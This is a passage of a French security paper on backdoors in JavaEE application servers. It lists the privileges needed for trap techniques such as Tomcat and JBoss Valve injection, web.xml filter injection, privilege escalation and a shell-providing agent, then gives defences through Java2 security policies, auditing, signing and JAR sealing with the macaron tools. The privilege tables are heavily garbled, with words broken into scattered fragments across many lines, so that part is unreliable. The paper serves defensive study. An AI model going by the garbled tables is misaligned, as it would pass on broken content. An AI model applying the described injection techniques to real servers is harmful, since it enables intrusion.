Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

